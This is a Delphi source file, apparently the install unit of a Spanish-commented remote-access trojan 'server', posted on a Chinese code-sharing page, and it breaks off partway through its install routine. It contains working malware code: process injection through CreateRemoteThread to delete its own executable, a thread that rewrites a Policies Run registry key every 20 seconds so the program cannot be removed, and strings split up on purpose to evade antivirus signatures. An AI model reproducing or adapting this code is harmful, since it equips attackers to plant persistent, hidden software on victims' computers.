?? unitinstalacion.pas
字號(hào):
unit UnitInstalacion;
interface
uses
Windows,
SysUtils,
TLHelp32,
ShellApi,
SettingsDef,
UnitVariables,
UnitFunciones,
UnitProcess,
UnitFileManager,
UnitRegistro;
procedure Instalar();
procedure Desinstalar();
implementation
Procedure BorrarseASiMismo( hProcessToInjectTo : Cardinal);
// coded by FoRSaKeN^
//Inyecta un thread en el parametro que se le pase que se encarga de borrar ParamStr(0)
Type
TData = Record
_DeleteFileA : Pointer;
_ExitThread : Pointer;
_Sleep : Pointer;
_szFile : Pointer;
end;
procedure LoadProc(param: Pointer); stdcall;
var
Inject : TData;
begin
Inject := TData(param^);
asm
@del:
push 1000
call Inject._Sleep
push Inject._szFile
call Inject._DeleteFileA
cmp eax,0
je @del
push 0
call Inject._ExitThread
end;
end;
Var
Written,ThreadID : Cardinal;
Params,Proc : Pointer;
pData : TData;
Handle : hWnd;
begin
if hProcessToInjectTo = 0 then exit;
//------------------------------------------------------------------------------
pData._DeleteFileA := GetProcAddress(GetModuleHandle(kernel32),'DeleteFileA');
pData._ExitThread := GetProcAddress(GetModuleHandle(kernel32),'ExitThread' );
pData._Sleep := GetProcAddress(GetModuleHandle(kernel32),'Sleep' );
//------------------------------------------------------------------------------
pData._szFile := VirtualAllocEx(hProcessToInjectTo, nil, Length(ParamStr(0)) + 1, $3000, $40);
WriteProcessMemory(hProcessToInjectTo, pData._szFile, PChar(Paramstr(0)), Length(Paramstr(0)) + 1, Written);
//------------------------------------------------------------------------------
Params := VirtualAllocEx(hProcessToInjectTo, nil, SizeOf(TData),$3000, $40);
WriteProcessMemory(hProcessToInjectTo, Params, @pData, SizeOf(TData), Written);
if Written<>SizeOf(TData) then exit;
//------------------------------------------------------------------------------
Proc := VirtualAllocEx(hProcessToInjectTo, nil, 500, $3000, $40);
WriteProcessMemory(hProcessToInjectTo, Proc, @LoadProc, 500, Written);
if Written<>500 then exit;
//------------------------------------------------------------------------------
Handle := CreateRemoteThread(hProcessToInjectTo,nil,0, Proc, Params, 0, ThreadID);
if Handle = 0 then exit;
//------------------------------------------------------------------------------
end;
var ThreadAutoInicioID : Cardinal;
procedure AutoInicio;
var
Clave : String;
begin
while True do
begin
//Ahora me agrego al autoinico
//Metodo policies
if Configuracion.bArranquePolicies then
begin
//Separadita para que no se vea la string completa si se abre con un editor hexadecimal.
//Me imagino que esto ayudara a la indetecci髇 de antivirus que usan firmas con strings.
//Y si no, es por pura diversi髇 :)
Clave := 'HKEY_CURRENT_USE';
Clave := Clave + 'R\SOFTWARE\Mic';
Clave := Clave + 'rosoft\Windows\CurrentVersion\Poli';
Clave := Clave + 'cies';
AniadirClave(PChar(Clave), '', 'clave');
Clave := Clave + '\Explorer';
AniadirClave(PChar(Clave), '', 'clave');
Clave := Clave + '\Run';
AniadirClave(PChar(Clave), '', 'clave');
Clave := Clave + '\'+ Configuracion.sPoliciesRegKeyName;
AniadirClave(PChar(Clave), ParamStr(0), 'REG_SZ');
end;
Sleep(20000); //20 sec
end;
end;
procedure CrearThreadAutoInicio;
//Crea un nuevo Thread en el que el server se agrega al auto inicio cada 20 segundos, para que no lo puedan borrar :)
begin
BeginThread( nil, 0, @AutoInicio, nil, 0, ThreadAutoInicioID);
end;
function TerminarThreadAutoInicio : boolean;
//Cierra el thread
begin
Result := False;
if ThreadAutoInicioID > 0 then
begin
EndThread(ThreadAutoInicioID);
Result := True;
end;
end;
procedure Instalar();
var
i : byte;
hProcess : THandle;
Process32 : TProcessEntry32;
SHandle : THandle;
Pid : string;
Next : BOOL;
begin
if Configuracion.bCopiarArchivo then //Si me tengo que copiar entonces...
begin
//Reemplaza las rutas adecuadas
Configuracion.sCopyTo := StringReplace(Configuracion.sCopyTo, '%WinDir%\', FindWindowsDir(), [rfReplaceAll, rfIgnoreCase{Ignora Mayus
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -